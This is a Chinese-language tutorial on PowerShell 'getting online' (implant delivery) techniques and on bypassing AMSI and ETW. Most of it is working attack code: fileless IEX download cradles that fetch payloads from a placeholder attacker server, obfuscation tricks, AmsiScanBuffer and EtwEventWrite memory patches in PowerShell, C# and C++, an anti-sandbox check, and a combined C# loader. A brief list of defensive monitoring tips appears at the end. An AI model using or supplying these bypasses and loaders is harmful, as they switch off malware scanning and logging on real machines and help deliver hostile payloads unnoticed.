PowerShell的AMSI和Etw绕过
字数 1620 2025-09-01 11:25:54

PowerShell的AMSI和ETW绕过技术详解

1. PowerShell基础与上线技术

1.1 PowerShell简介

PowerShell是微软开发的跨平台(Windows、Linux和macOS)自动化工具和配置框架,包含:

  • 命令行shell
  • 脚本语言
  • 配置管理框架
  • 基于.NET框架构建,具有强大功能和灵活性

1.2 PowerShell上线方式

1.2.1 有文件上线

  1. 生成PowerShell脚本文件
  2. 临时允许脚本运行:
    powershell -ExecutionPolicy Bypass -File "C:\path\to\payload.ps1"
    
  3. 如果提示"禁止运行脚本",调整执行策略:
    Set-ExecutionPolicy Bypass -Scope Process -Force
    .\payload.ps1
    

1.2.2 无文件上线

使用Web投递方式:

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://attacker-server/payload'))"

1.3 PowerShell免杀技术

1.3.1 混淆技术

  1. Invoke-Obfuscation工具

    set scriptpath payload.ps1
    token
    all 1
    out obfuscated.ps1
    
  2. AES加密

    Import-Module ./AES-Encoder.ps1
    Invoke-AES-Encoder -InFile .\payload.ps1 -OutFile encrypted.ps1 -Iterations 5
    
  3. 变量名和函数名替换

    • 修改原始脚本中的函数名和变量名
    • 使用不常见的命名方式

1.3.2 编码技术

  1. Base64编码

    $DoIt = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($EncodedData))
    
  2. Byte数组转换

    [Byte[]]$var_code = [System.Convert]::FromBase64String('base64-shellcode')
    
  3. 命令拆分变体

    powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('ht'+'tP://19'+'2.168.1.1'+'/payload'))"
    

2. AMSI绕过技术

2.1 AMSI简介

反恶意软件扫描接口(AMSI)是微软开发的接口标准,用于:

  • 扫描内存、流、文件和缓冲区中的恶意内容
  • 提供运行时恶意软件检测
  • 特别关注脚本解释器(PowerShell, VBScript, JScript等)执行的内容

2.2 AMSI检测范围

  • PowerShell脚本和执行
  • VBScript/JScript执行
  • Office宏
  • .NET程序集加载
  • Windows Script Host (wscript/cscript)
  • JavaScript/UWP应用
  • 动态代码生成(如通过Reflection.Emit)

2.3 AMSI绕过方法

2.3.1 内存修补技术

修补amsi.dll中的AmsiScanBuffer函数:

$Win32 = @"
using System;
using System.Runtime.InteropServices;
public class Win32 {
    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string name);
    [DllImport("kernel32")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@

Add-Type $Win32
$LoadLibrary = [Win32]::LoadLibrary("am" + "si.dll")
$Address = [Win32]::GetProcAddress($LoadLibrary, "Amsi" + "Scan" + "Buffer")
$p = 0
[Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p)
$Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, 6)

2.3.2 替代实现方式

function get_delegate_type {
    Param (
        [Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
        [Parameter(Position = 1)] [Type] $var_return_type = [Void]
    )
    # 函数实现...
}

function get_proc_address {
    Param ($var_module, $var_procedure)
    # 函数实现...
}

function Invoke-AMZZ {
    $ppruhu = get_proc_address amsi.dll "AmsiScanBuffer"
    $virpro = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(
        (get_proc_address kernel32.dll VirtualProtect),
        (get_delegate_type @([System.IntPtr], [System.UIntPtr], [System.UInt32], [System.UInt32].MakeByRefType()) ([System.Boolean]))
    )
    $p = 0
    $virpro.Invoke($ppruhu, [UInt32]5, 0x40, [ref]$p)
    $scnfh = @([Byte] 0xB8, [Byte] 0x57, [Byte] 0x00,[Byte] 0x07, [Byte] 0x80, [Byte] 0xC3)
    [System.Runtime.InteropServices.Marshal]::Copy($scnfh, 0, $ppruhu, 6)
    IEX ((new-object net.webclient).downloadstring('http://attacker/payload'))
}

Invoke-AMZZ

2.4 C#实现AMSI绕过

using System;
using System.Runtime.InteropServices;
using System.Text;

class Program
{
    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
    
    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string name);
    
    [DllImport("kernel32")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);

    public static void BypassAMSI()
    {
        string base64Encoded = "YW1zaS5kbGw="; // "amsi.dll"的Base64
        string libraryName = Encoding.UTF8.GetString(Convert.FromBase64String(base64Encoded));
        IntPtr Library = LoadLibrary(libraryName);

        string base64Encoded1 = "QW1zaVNjYW5CdWZmZXI="; // "AmsiScanBuffer"的Base64
        string functionName = Encoding.UTF8.GetString(Convert.FromBase64String(base64Encoded1));
        IntPtr Address = GetProcAddress(Library, functionName);

        uint p;
        VirtualProtect(Address, (UIntPtr)5, 0x40, out p);
        
        Byte[] Patch = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
        Marshal.Copy(Patch, 0, Address, 6);
    }
}

3. ETW绕过技术

3.1 ETW简介

Windows事件跟踪(ETW)提供机制来:

  • 跟踪和记录由用户模式应用程序和内核模式驱动程序引发的事件
  • 提供来自内核的跟踪
  • 常用于EDR产品检测.NET恶意执行

3.2 ETW绕过方法

3.2.1 C++实现ETW绕过

#include <Windows.h>
#include <Tlhelp32.h>

int main()
{
    STARTUPINFOA si = { 0 };
    PROCESS_INFORMATION pi = { 0 };
    si.cb = sizeof(si);
    
    // 创建挂起的PowerShell进程
    CreateProcessA(NULL, (LPSTR)"powershell -noexit", NULL, NULL, NULL, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
    
    // 获取EtwEventWrite地址
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    LPVOID pEtwEventWrite = GetProcAddress(hNtdll, "EtwEventWrite");
    
    // 修改内存保护属性
    DWORD oldProtect;
    VirtualProtectEx(pi.hProcess, (LPVOID)pEtwEventWrite, 1, PAGE_EXECUTE_READWRITE, &oldProtect);
    
    // 将第一个字节改为0xc3 (ret指令)
    char patch = 0xc3;
    WriteProcessMemory(pi.hProcess, (LPVOID)pEtwEventWrite, &patch, sizeof(char), NULL);
    
    // 恢复内存保护属性并继续进程
    VirtualProtectEx(pi.hProcess, (LPVOID)pEtwEventWrite, 1, oldProtect, NULL);
    ResumeThread(pi.hThread);
    
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
    return 0;
}

3.2.2 C#实现ETW绕过

public static void BypassETW()
{
    try
    {
        IntPtr Library = LoadLibrary("n" + "t" + "d" + "l" + "l" + ".dll");
        IntPtr Address = GetProcAddress(Library, "Etw" + "Event" + "Write");
        uint oldProtect;
        bool protectResult = VirtualProtect(Address, (UIntPtr)1, 0x40, out oldProtect);
        Byte[] Patch = { 0xC3 }; // RET 指令
        Marshal.Copy(Patch, 0, Address, Patch.Length);
    }
    catch (Exception ex)
    {
        Console.WriteLine("Exception occurred: " + ex.Message);
    }
}

4. 综合防御规避技术

4.1 抗沙箱技术

static void Main(String[] args)
{
    // 反沙箱检测 - 检查进程数量
    if (Process.GetProcesses().Length < 40)
    {
        Console.WriteLine("The number of processes in the system is less than 40. Exiting the program.");
        Environment.Exit(0);
    }
    
    // 其余代码...
}

4.2 综合C#加载器

using System;
using System.Collections.Generic;
using System.Collections.ObjectModel;
using System.Diagnostics;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.Runtime.InteropServices;
using System.Text;

namespace MyPowershell
{
    class Program
    {
        [DllImport("kernel32")]
        public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
        
        [DllImport("kernel32")]
        public static extern IntPtr LoadLibrary(string name);
        
        [DllImport("kernel32")]
        public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);

        public static void BypassAMSI()
        {
            // AMSI绕过实现...
        }

        public static void BypassETW()
        {
            // ETW绕过实现...
        }

        static void Main(String[] args)
        {
            if (args.Length == 0) Environment.Exit(1);
            
            // 反沙箱检测
            if (Process.GetProcesses().Length < 40)
            {
                Environment.Exit(0);
            }
            
            List<string> argsList = new List<string>(args);
            
            // 根据参数执行绕过
            if (argsList.Contains("-s")) { BypassAMSI(); argsList.Remove("-s"); }
            if (argsList.Contains("-t")) { BypassETW(); argsList.Remove("-t"); }
            
            // 执行PowerShell代码
            string temp = Base64Decode(argsList[0]);
            string s = RunScript(temp);
            Console.WriteLine(s);
        }

        private static string RunScript(string script)
        {
            // PowerShell执行实现...
        }
    }
}

5. 实用工具与资源

  1. 混淆工具:

    • Invoke-Obfuscation
    • AES-Encoder (https://github.com/Chainski/AES-Encoder)
  2. 调试工具:

    • Process Hacker
    • x64dbg
  3. 开发工具:

    • Visual Studio Code
    • Windows PowerShell ISE
  4. 关键DLL路径:

    • System.Management.Automation.dll: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll
    • amsi.dll: 系统目录
    • ntdll.dll: 系统目录

6. 防御建议

  1. 监控关键API调用:

    • VirtualProtect/VirtualProtectEx
    • WriteProcessMemory
    • GetProcAddress/LoadLibrary
  2. 检测内存修补行为:

    • 监控对amsi.dll和ntdll.dll的修改
    • 检测对AmsiScanBuffer和EtwEventWrite的hook
  3. 增强日志记录:

    • 启用PowerShell脚本块日志记录
    • 监控.NET程序集加载行为
  4. 实施行为分析:

    • 检测异常的PowerShell执行模式
    • 监控进程创建和内存操作序列
  5. 更新防御机制:

    • 定期更新AMSI签名
    • 实施多层次的防御策略
PowerShell的AMSI和ETW绕过技术详解 1. PowerShell基础与上线技术 1.1 PowerShell简介 PowerShell是微软开发的跨平台(Windows、Linux和macOS)自动化工具和配置框架,包含: 命令行shell 脚本语言 配置管理框架 基于.NET框架构建,具有强大功能和灵活性 1.2 PowerShell上线方式 1.2.1 有文件上线 生成PowerShell脚本文件 临时允许脚本运行: 如果提示"禁止运行脚本",调整执行策略: 1.2.2 无文件上线 使用Web投递方式: 1.3 PowerShell免杀技术 1.3.1 混淆技术 Invoke-Obfuscation工具 : AES加密 : 变量名和函数名替换 : 修改原始脚本中的函数名和变量名 使用不常见的命名方式 1.3.2 编码技术 Base64编码 : Byte数组转换 : 命令拆分变体 : 2. AMSI绕过技术 2.1 AMSI简介 反恶意软件扫描接口(AMSI)是微软开发的接口标准,用于: 扫描内存、流、文件和缓冲区中的恶意内容 提供运行时恶意软件检测 特别关注脚本解释器(PowerShell, VBScript, JScript等)执行的内容 2.2 AMSI检测范围 PowerShell脚本和执行 VBScript/JScript执行 Office宏 .NET程序集加载 Windows Script Host (wscript/cscript) JavaScript/UWP应用 动态代码生成(如通过Reflection.Emit) 2.3 AMSI绕过方法 2.3.1 内存修补技术 修补amsi.dll中的AmsiScanBuffer函数: 2.3.2 替代实现方式 2.4 C#实现AMSI绕过 3. ETW绕过技术 3.1 ETW简介 Windows事件跟踪(ETW)提供机制来: 跟踪和记录由用户模式应用程序和内核模式驱动程序引发的事件 提供来自内核的跟踪 常用于EDR产品检测.NET恶意执行 3.2 ETW绕过方法 3.2.1 C++实现ETW绕过 3.2.2 C#实现ETW绕过 4. 综合防御规避技术 4.1 抗沙箱技术 4.2 综合C#加载器 5. 实用工具与资源 混淆工具 : Invoke-Obfuscation AES-Encoder (https://github.com/Chainski/AES-Encoder) 调试工具 : Process Hacker x64dbg 开发工具 : Visual Studio Code Windows PowerShell ISE 关键DLL路径 : System.Management.Automation.dll: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll amsi.dll: 系统目录 ntdll.dll: 系统目录 6. 防御建议 监控关键API调用 : VirtualProtect/VirtualProtectEx WriteProcessMemory GetProcAddress/LoadLibrary 检测内存修补行为 : 监控对amsi.dll和ntdll.dll的修改 检测对AmsiScanBuffer和EtwEventWrite的hook 增强日志记录 : 启用PowerShell脚本块日志记录 监控.NET程序集加载行为 实施行为分析 : 检测异常的PowerShell执行模式 监控进程创建和内存操作序列 更新防御机制 : 定期更新AMSI签名 实施多层次的防御策略